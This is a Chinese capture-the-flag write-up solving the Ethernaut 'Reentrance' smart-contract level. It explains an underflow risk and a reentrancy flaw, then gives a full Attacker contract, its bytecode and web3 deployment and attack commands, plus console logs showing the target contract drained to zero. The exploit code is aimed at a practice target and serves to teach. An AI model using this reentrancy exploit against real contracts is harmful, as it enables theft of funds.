目标: 使用重入攻击, 窃取合约上的所有资产 (合约上预先有0.01ether)
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import 'openzeppelin-contracts-06/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
上面的合约有两个问题:
1, pragma solidity ^0.6.12
版本小于8.0时 balances[msg.sender] -= _amount;
有溢出风险
注: solidity版本>=8时, 如果存在溢出, 则EVM会进行revert
https://docs.soliditylang.org/en/v0.8.16/080-breaking-changes.html
Failing assertions and other internal checks like division by zero or arithmetic overflow do not use the invalid opcode but instead the revert opcode. More specifically, they will use error data equal to a function call to Panic(uint256) with an error code specific to the circumstances.
然后你会得到这样的报错: Error: VM Exception while processing transaction: revert -- Reason given: Panic: Arithmetic overflow.
2, withdraw
函数 先进行了msg.sender.call{value:_amount}("")
发送eth,再进行了balances[msg.sender] -= _amount;
, 我们知道发送eth时会进入到调用者(如果调用者是合约)的receive
或 fallback
函数, 调用者有机会在receive
或 fallback
函数中干坏事, 这时 balances[msg.sender]
还没有减少, 可以继续进行资金划转
攻击方法:
新建一个Attacker合约, 通过Attacker合约地址调用Reentrance合约的donate方法捐献0.01ether, 再调用Reentrance合约的withdraw方法进行提款, 提款时进入receive方法, 在receive方法中将Reentrance合约的0.01ether提走, 此后withdraw会继续提走本该提走的0.01ether, 这样Reentrance的0.02个ether被全部提走了
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Attacker {
address payable _target;
event Log(string message);
bool isAttacking;
function setTarget(address payable target) public {
_target = target;
emit Log("target set");
}
function donate() public payable {
bytes memory data = abi.encodeWithSignature(
"donate(address)",
address(this)
);
(bool success, ) = _target.call{value: msg.value}(data);
emit Log(success ? "donate successful" : "donate failed");
}
function withdraw(uint256 amount) public payable {
// 注意:abi.encodeWithSignature("withdraw(uint256)", amount);
// 要用 uint256 而不是 uint
bytes memory data = abi.encodeWithSignature(
"withdraw(uint256)",
amount
);
(bool success, ) = _target.call(data);
emit Log(success ? "withdraw successful" : "withdraw failed");
}
receive() external payable {
emit Log("attacking");
bytes memory data = abi.encodeWithSignature(
"withdraw(uint256)",
0.001 ether
);
(bool success, ) = _target.call(data);
emit Log(success ? "attack successful" : "attack failed");
}
fallback() external payable {}
}
let abi = [{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"message","type":"string"}],"name":"Log","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"donate","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address payable","name":"target","type":"address"}],"name":"setTarget","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"payable","type":"function"},{"stateMutability":"payable","type":"receive"}]
let byteCode = "0x" +
"608060405234801561001057600080fd5b50610aa7806100206000396000f3fe6080604052600436106100385760003560e01c80632e1a7d4d1461024a578063776d1a0114610266578063ed88c68e1461028f57610248565b36610248577fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab60405161006a90610711565b60405180910390a1600066038d7ea4c6800060405160240161008c9190610789565b6040516020818303038152906040527f2e1a7d4d000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050905060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682604051610153919061081e565b6000604051808303816000865af19150503d8060008114610190576040519150601f19603f3d011682016040523d82523d6000602084013e610195565b606091505b505090507fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab816101fa576040518060400160405280600d81526020017f61747461636b206661696c656400000000000000000000000000000000000000815250610231565b6040518060400160405280601181526020017f61747461636b207375636365737366756c0000000000000000000000000000008152505b60405161023e919061088a565b60405180910390a1005b005b610264600480360381019061025f91906108e7565b610299565b005b34801561027257600080fd5b5061028d60048036038101906102889190610972565b61046b565b005b6102976104e3565b005b6000816040516024016102ac91906109ae565b6040516020818303038152906040527f2e1a7d4d000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050905060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682604051610373919061081e565b6000604051808303816000865af19150503d80600081146103b0576040519150601f19603f3d011682016040523d82523d6000602084013e6103b5565b606091505b505090507fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab8161041a576040518060400160405280600f81526020017f7769746864726177206661696c65640000000000000000000000000000000000815250610451565b6040518060400160405280601381526020017f7769746864726177207375636365737366756c000000000000000000000000008152505b60405161045e919061088a565b60405180910390a1505050565b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab6040516104d890610a15565b60405180910390a150565b6000306040516024016104f69190610a56565b6040516020818303038152906040527e362a95000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050905060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1634836040516105bd919061081e565b60006040518083038185875af1925050503d80600081146105fa576040519150601f19603f3d011682016040523d82523d6000602084013e6105ff565b606091505b505090507fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab81610664576040518060400160405280600d81526020017f646f6e617465206661696c65640000000000000000000000000000000000000081525061069b565b6040518060400160405280601181526020017f646f6e617465207375636365737366756c0000000000000000000000000000008152505b6040516106a8919061088a565b60405180910390a15050565b600082825260208201905092915050565b7f61747461636b696e670000000000000000000000000000000000000000000000600082015250565b60006106fb6009836106b4565b9150610706826106c5565b602082019050919050565b6000602082019050818103600083015261072a816106ee565b9050919050565b6000819050919050565b600066ffffffffffffff82169050919050565b6000819050919050565b600061077361076e61076984610731565b61074e565b61073b565b9050919050565b61078381610758565b82525050565b600060208201905061079e600083018461077a565b92915050565b600081519050919050565b600081905092915050565b60005b838110156107d85780820151818401526020810190506107bd565b838111156107e7576000848401525b50505050565b60006107f8826107a4565b61080281856107af565b93506108128185602086016107ba565b80840191505092915050565b600061082a82846107ed565b915081905092915050565b600081519050919050565b6000601f19601f8301169050919050565b600061085c82610835565b61086681856106b4565b93506108768185602086016107ba565b61087f81610840565b840191505092915050565b600060208201905081810360008301526108a48184610851565b905092915050565b600080fd5b6000819050919050565b6108c4816108b1565b81146108cf57600080fd5b50565b6000813590506108e1816108bb565b92915050565b6000602082840312156108fd576108fc6108ac565b5b600061090b848285016108d2565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061093f82610914565b9050919050565b61094f81610934565b811461095a57600080fd5b50565b60008135905061096c81610946565b92915050565b600060208284031215610988576109876108ac565b5b60006109968482850161095d565b91505092915050565b6109a8816108b1565b82525050565b60006020820190506109c3600083018461099f565b92915050565b7f7461726765742073657400000000000000000000000000000000000000000000600082015250565b60006109ff600a836106b4565b9150610a0a826109c9565b602082019050919050565b60006020820190508181036000830152610a2e816109f2565b9050919050565b6000610a4082610914565b9050919050565b610a5081610a35565b82525050565b6000602082019050610a6b6000830184610a47565b9291505056fea26469706673582212200b9bd5740f6a581d252c3fc548a659fda45b0ef7f3b40d503462008fdabbbce364736f6c634300080f0033"
//deploy it
let c = new web3.eth.Contract(abi);
let deploy = c.deploy({
data: byteCode,
arguments: []
});
let myContract = await deploy.send({
from: player
});
let balance = await web3.eth.getBalance(instance);
console.log(balance);
await myContract.methods.setTarget(instance).send({from: player})
await myContract.methods.donate().send({ from: player,value: web3.utils.toWei("0.001", "ether") });
balance = await web3.eth.getBalance(instance);
console.log(balance);
await myContract.methods.withdraw(web3.utils.toWei("0.001", "ether")).send({from: player});
balance = await web3.eth.getBalance(instance);
console.log(balance);
^^.js:45 龴ↀ◡ↀ龴 正在从关卡获得新的实例... < < <<请稍等>> > >
redux-logger.js:1 action LOAD_LEVEL_INSTANCE @ 13:57:17.244
^^.js:140 ⛏️ Sent transaction ⛏ undefined/tx/0xbb9d55366230a032fed03aa866dc97426d4414a8dd8660366d251173838344b9
^^.js:35 => 实例地址0x81c1adE91B141dEf123194a42C334403fDD2d302
redux-logger.js:1 action LOAD_LEVEL_INSTANCE @ 13:57:23.190
^^.js:140 ⛏️ Mined transaction ⛏ undefined/tx/0xbb9d55366230a032fed03aa866dc97426d4414a8dd8660366d251173838344b9
redux-logger.js:1 action SET_BLOCK_NUM @ 13:57:30.754
let abi = [{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"message","type":"string"}],"name":"Log","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"donate","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address payable","name":"target","type":"address"}],"name":"setTarget","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"payable","type":"function"},{"stateMutability":"payable","type":"receive"}]
let byteCode = "0x" +
"608060405234801561001057600080fd5b50610aa7806100206000396000f3fe6080604052600436106100385760003560e01c80632e1a7d4d1461024a578063776d1a0114610266578063ed88c68e1461028f57610248565b36610248577fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab60405161006a90610711565b60405180910390a1600066038d7ea4c6800060405160240161008c9190610789565b6040516020818303038152906040527f2e1a7d4d000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050905060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682604051610153919061081e565b6000604051808303816000865af19150503d8060008114610190576040519150601f19603f3d011682016040523d82523d6000602084013e610195565b606091505b505090507fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab816101fa576040518060400160405280600d81526020017f61747461636b206661696c656400000000000000000000000000000000000000815250610231565b6040518060400160405280601181526020017f61747461636b207375636365737366756c0000000000000000000000000000008152505b60405161023e919061088a565b60405180910390a1005b005b610264600480360381019061025f91906108e7565b610299565b005b34801561027257600080fd5b5061028d60048036038101906102889190610972565b61046b565b005b6102976104e3565b005b6000816040516024016102ac91906109ae565b6040516020818303038152906040527f2e1a7d4d000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050905060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682604051610373919061081e565b6000604051808303816000865af19150503d80600081146103b0576040519150601f19603f3d011682016040523d82523d6000602084013e6103b5565b606091505b505090507fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab8161041a576040518060400160405280600f81526020017f7769746864726177206661696c65640000000000000000000000000000000000815250610451565b6040518060400160405280601381526020017f7769746864726177207375636365737366756c000000000000000000000000008152505b60405161045e919061088a565b60405180910390a1505050565b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab6040516104d890610a15565b60405180910390a150565b6000306040516024016104f69190610a56565b6040516020818303038152906040527e362a95000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050905060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1634836040516105bd919061081e565b60006040518083038185875af1925050503d80600081146105fa576040519150601f19603f3d011682016040523d82523d6000602084013e6105ff565b606091505b505090507fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab81610664576040518060400160405280600d81526020017f646f6e617465206661696c65640000000000000000000000000000000000000081525061069b565b6040518060400160405280601181526020017f646f6e617465207375636365737366756c0000000000000000000000000000008152505b6040516106a8919061088a565b60405180910390a15050565b600082825260208201905092915050565b7f61747461636b696e670000000000000000000000000000000000000000000000600082015250565b60006106fb6009836106b4565b9150610706826106c5565b602082019050919050565b6000602082019050818103600083015261072a816106ee565b9050919050565b6000819050919050565b600066ffffffffffffff82169050919050565b6000819050919050565b600061077361076e61076984610731565b61074e565b61073b565b9050919050565b61078381610758565b82525050565b600060208201905061079e600083018461077a565b92915050565b600081519050919050565b600081905092915050565b60005b838110156107d85780820151818401526020810190506107bd565b838111156107e7576000848401525b50505050565b60006107f8826107a4565b61080281856107af565b93506108128185602086016107ba565b80840191505092915050565b600061082a82846107ed565b915081905092915050565b600081519050919050565b6000601f19601f8301169050919050565b600061085c82610835565b61086681856106b4565b93506108768185602086016107ba565b61087f81610840565b840191505092915050565b600060208201905081810360008301526108a48184610851565b905092915050565b600080fd5b6000819050919050565b6108c4816108b1565b81146108cf57600080fd5b50565b6000813590506108e1816108bb565b92915050565b6000602082840312156108fd576108fc6108ac565b5b600061090b848285016108d2565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061093f82610914565b9050919050565b61094f81610934565b811461095a57600080fd5b50565b60008135905061096c81610946565b92915050565b600060208284031215610988576109876108ac565b5b60006109968482850161095d565b91505092915050565b6109a8816108b1565b82525050565b60006020820190506109c3600083018461099f565b92915050565b7f7461726765742073657400000000000000000000000000000000000000000000600082015250565b60006109ff600a836106b4565b9150610a0a826109c9565b602082019050919050565b60006020820190508181036000830152610a2e816109f2565b9050919050565b6000610a4082610914565b9050919050565b610a5081610a35565b82525050565b6000602082019050610a6b6000830184610a47565b9291505056fea26469706673582212200b9bd5740f6a581d252c3fc548a659fda45b0ef7f3b40d503462008fdabbbce364736f6c634300080f0033"
//deploy it
let c = new web3.eth.Contract(abi);
let deploy = c.deploy({
data: byteCode,
arguments: []
});
let myContract = await deploy.send({
from: player
});
let balance = await web3.eth.getBalance(instance);
console.log(balance);
await myContract.methods.setTarget(instance).send({from: player})
await myContract.methods.donate().send({ from: player,value: web3.utils.toWei("0.001", "ether") });
balance = await web3.eth.getBalance(instance);
console.log(balance);
await myContract.methods.withdraw(web3.utils.toWei("0.001", "ether")).send({from: player});
balance = await web3.eth.getBalance(instance);
console.log(balance);
^^.js:140 ⛏️ Sent transaction ⛏ undefined/tx/0x135f166d21abacfa6e7a3aec598404afa5cde0e2434ff6f7a3cd559f5415ee96
^^.js:140 ⛏️ Mined transaction ⛏ undefined/tx/0x135f166d21abacfa6e7a3aec598404afa5cde0e2434ff6f7a3cd559f5415ee96
VM546:17 1000000000000000
^^.js:140 ⛏️ Sent transaction ⛏ undefined/tx/0x7b4798f418a1a2e2bbb56028c5b7804210d83c4fe16a08916c77ddf0d8ac8a93
^^.js:140 ⛏️ Mined transaction ⛏ undefined/tx/0x7b4798f418a1a2e2bbb56028c5b7804210d83c4fe16a08916c77ddf0d8ac8a93
redux-logger.js:1 action SET_BLOCK_NUM @ 13:58:01.733
^^.js:140 ⛏️ Sent transaction ⛏ undefined/tx/0xd01f1ceff7c07774f89a698e6ec7b4227ae6069ab0a6b7e3a877cb8728185c87
^^.js:140 ⛏️ Mined transaction ⛏ undefined/tx/0xd01f1ceff7c07774f89a698e6ec7b4227ae6069ab0a6b7e3a877cb8728185c87
VM546:23 2000000000000000
^^.js:140 ⛏️ Sent transaction ⛏ undefined/tx/0x7bef878b37d20f7db84d95450eb646673f73b021c700f7de8d39a23ebab6afac
^^.js:140 ⛏️ Mined transaction ⛏ undefined/tx/0x7bef878b37d20f7db84d95450eb646673f73b021c700f7de8d39a23ebab6afac
VM546:27 0
undefined
redux-logger.js:1 action SET_BLOCK_NUM @ 13:58:11.769
^^.js:45 •|龴◡龴|• 正在提交关卡实例... < < <<请稍等>> > >
redux-logger.js:1 action SUBMIT_LEVEL_INSTANCE @ 13:58:14.238
^^.js:140 ⛏️ Sent transaction ⛏ undefined/tx/0x52271c0176052731a790b6e701006aaf90e8106c8722a0239846f527e075a385
^^.js:73 ⎦˚◡˚⎣ 牛逼!, 你通过了这关!!!
^^.js:73 ⎦˚◡˚⎣ 牛逼!, 你通过了这关!!!
^^.js:73 ⎦˚◡˚⎣ 牛逼!, 你通过了这关!!!
^^.js:73 ⎦˚◡˚⎣ 牛逼!, 你通过了这关!!!
^^.js:73 ⎦˚◡˚⎣ 牛逼!, 你通过了这关!!!
^^.js:73 ⎦˚◡˚⎣ 牛逼!, 你通过了这关!!!
^^.js:73 ⎦˚◡˚⎣ 牛逼!, 你通过了这关!!!
^^.js:73 ⎦˚◡˚⎣ 牛逼!, 你通过了这关!!!
redux-logger.js:1 action SUBMIT_LEVEL_INSTANCE @ 13:58:21.107
^^.js:73 ⎦˚◡˚⎣ 牛逼!, 你通过了这关!!!
^^.js:140 ⛏️ Mined transaction ⛏ undefined/tx/0x52271c0176052731a790b6e701006aaf90e8106c8722a0239846f527e075a385
^^.js:73 ⎦˚◡˚⎣ 牛逼!, 你通过了这关!!!
^^.js:73 ⎦˚◡˚⎣ 牛逼!, 你通过了这关!!!
^^.js:73 ⎦˚◡˚⎣ 牛逼!, 你通过了这关!!!
^^.js:73 ⎦˚◡˚⎣ 牛逼!, 你通过了这关!!!
^^.js:73 ⎦˚◡˚⎣ 牛逼!, 你通过了这关!!!
^^.js:73 ⎦˚◡˚⎣ 牛逼!, 你通过了这关!!!
^^.js:73 ⎦˚◡˚⎣ 牛逼!, 你通过了这关!!!
^^.js:73 ⎦˚◡˚⎣ 牛逼!, 你通过了这关!!!
^^.js:73 ⎦˚◡˚⎣ 牛逼!, 你通过了这关!!!
^^.js:73 ⎦˚◡˚⎣ 牛逼!, 你通过了这关!!!
^^.js:73 ⎦˚◡˚⎣ 牛逼!, 你通过了这关!!!
^^.js:56
redux-logger.js:1 action SET_BLOCK_NUM @ 13:58:21.733
https://consensys.github.io/smart-contract-best-practices/attacks/reentrancy/